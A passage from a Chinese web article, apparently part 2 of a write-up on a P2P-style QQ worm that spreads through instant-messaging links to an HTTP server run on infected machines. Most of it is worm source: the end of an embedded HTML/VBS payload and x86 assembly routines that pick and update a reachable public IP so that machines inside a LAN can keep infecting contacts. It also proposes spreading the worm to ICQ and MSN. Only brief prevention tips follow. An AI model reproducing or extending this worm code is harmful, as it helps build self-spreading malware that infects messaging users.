快捷搜索:   nginx

基于P2P思想的QQ蠕虫的原理与防治(2)

        db  'Next',0dh,0ah

        db  'End Function',0dh,0ah

        db  '-->'

        db  '</SCRIPT></HEAD><BODY>Thank you for test it!</BODY></HTML>'

   容易看出,html代码只是exe中的一段数据。 exe运行后,创建http服务和监视QQ,继续传播。至此,一个完整的QQ蠕虫就完成了。

三.局限性与解决方案

如果目标机器禁止了vbs的运行,同样无法传播。但是,单纯以vbs为传播手段的病毒都可以大行其道,它也可以。   

基于P2P思想,虽然不受固定服务器的限制。但是在某些情况下无法传播。比如,被感染的机器在内网中,尽管它可以被感染,但无法感染其他机器。因为

其他机器找不到它的ip.它无法作为服务器。

解决方法如下:

1. 程序体内保存一块空间,是4的倍数(in_addr的大小),用来保存真正的IP.

2. 在一台机器获得控制权后,得到本机IP(gethostname, gethostbyname),分析是否为内网

是则调用SelectTrueIP,从iplist中选择一个真正的ip,否则调用UpdateIPList,更新iplist,因为iplist可能还有未填充项或者过时的ip.验证是否过时向它发出连接即可。

3. 这样,当机器处于内网时,会向好友发出http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:

IsActiveIP       PROC   IP     : DWORD

    

        LOCAL    VSocket    : DWORD

      

        push     ecx

        push     IPPROTO_TCP

        push     SOCK_STREAM

        push     AF_INET

        call     socket

        mov      VSocket,eax

       

        push     IP

        pop      TestIP

       

    push     sizeof(sockaddr)  ; Size of connect strucure=16

        call     IAI1              ; Connect structure

    dw       AF_INET           ; Family

  db       0,80              ; Port number,avoid htons :)

TestIP  dd       0                 ; in_addr of server

    db       8 dup(0)          ; Unused

IAI1:

  push     VSocket

    call     connect           ;ret 0 if sucess

       push     eax              

        push     VSocket

    call     closesocket

       pop      eax

        pop      ecx

    ret      4

IsActiveIP       ENDP

SelectTrueIP:  

        push    64

        pop     ecx

        mov     esi , offset TrueIPList

STI1:   lodsd              

        push    eax

        call    IsActiveIP              ;ret 0 if sucess

      

        .if     eax   == 0                       

                sub   esi , 4

                lodsd    

                jmp   STIExit

        .else    

                loop  STI1

        .endif        

        xor     eax , eax

STIExit:           

        ret

              

UpdateTrueIP    PROC   TrueIP : DWORD

                       

        push    64

        pop     ecx

        mov     esi , offset TrueIPList

UT1:    lodsd

        .if     eax == 0

                push  TrueIP

                pop   [esi-4]

                jmp   UTExit

        .else

                loop  UT1               

        .endif

       

        push    64

        pop     ecx

        mov     esi , offset TrueIPList

UT2:   

        lodsd

        push    eax

        call    IsActiveIP            ;ret 0 if sucess

       

        .if     eax   != 0          

                push  TrueIP

                pop   [esi-4]       

                jmp   UTExit

        .else       

                loop  UT1               

        .endif

UTExit:       

        mov     eax , TrueIP

        ret     4            

UpdateTrueIP    ENDP

TrueIPList      db   256  dup (0)               

四. 扩展  

若把这种方法同时也应用到ICQ,MSN等IM软件,http服务器不变,只是查找发送消息窗口有所不同,但原理一样,只需要少量修改。再有一个SendMSNMsg和SendICQMsg线程即可。考虑到IM软件同时在线人数之多,再辅助以邮件等常规手段,传播速度十分可观。

五. 防范措施

  ?1、注意在线传输:常用的通讯软件如ICQ、QQ、MSN Message均提供了在线传输功能,来源不可靠的传输内容请拒绝接收;即便可靠,接收后也要经过杀毒软件的扫描方能运行。??2、小心页面链接:

    如果用户在使用聊天软件时不小心上当,点击了不明网页链接,电脑就会在使用者完全不知情的情况下,从许多网站下载文件并自动运行。所以,千万别打开陌生人传来的页面链接!如果是好友送来的连接,要询问、确认后打开。这不是谁的漏洞,就象DDos攻击一样,是不可避免的正常危机。

   

六. 结束语

??QQ和MSN受到病毒侵袭的事件再一次强调了互联网世界真实的一面——任何流行的电脑程序最终都会成为被攻击的目标。 

??今后,我们不排除会有像CIH这样的恶性病毒通过QQ、ICQ、MSN等渠道进行广泛传播的可能,因此,加强对即时通讯软件的监控和保护是当务之急。

??病毒正试图把触角延伸到所有可能的领域。与刚刚开始的攻击即时通讯软件的病毒一样,虽然手机病毒,PDA病毒等都还属于新兴“毒种”,病毒传播、侵害模式尚且属于萌芽状态,但是稍许的掉以轻心,都可能会导致巨大的不可挽回的损失。防患于未然,才是反病毒的大计。

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论